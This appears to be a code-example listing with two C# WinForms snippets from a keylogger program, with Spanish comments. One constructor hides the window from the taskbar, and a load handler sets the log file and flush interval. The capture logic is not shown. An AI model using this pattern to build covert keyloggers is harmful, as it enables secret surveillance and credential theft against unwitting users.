コード例 #1
0
        public frmKeyLogger()
        {
            InitializeComponent();

            kl = new KeyLogger();
            this.WindowState = FormWindowState.Minimized;
            this.ShowInTaskbar = false;
        }
コード例 #2
0
        private void Form1_Load(object sender, EventArgs e)
        {
            // Inicializamos los valores
            textBox1.Text = "60000";
            textBox3.Text = filename;

            try
            {
                kl = new KeyLogger(filename);
                kl.FlushInterval = Convert.ToDouble(textBox1.Text);
            }
            catch (Exception)
            {
                MessageBox.Show("FlushInterval especificado erroneo");
            }
        }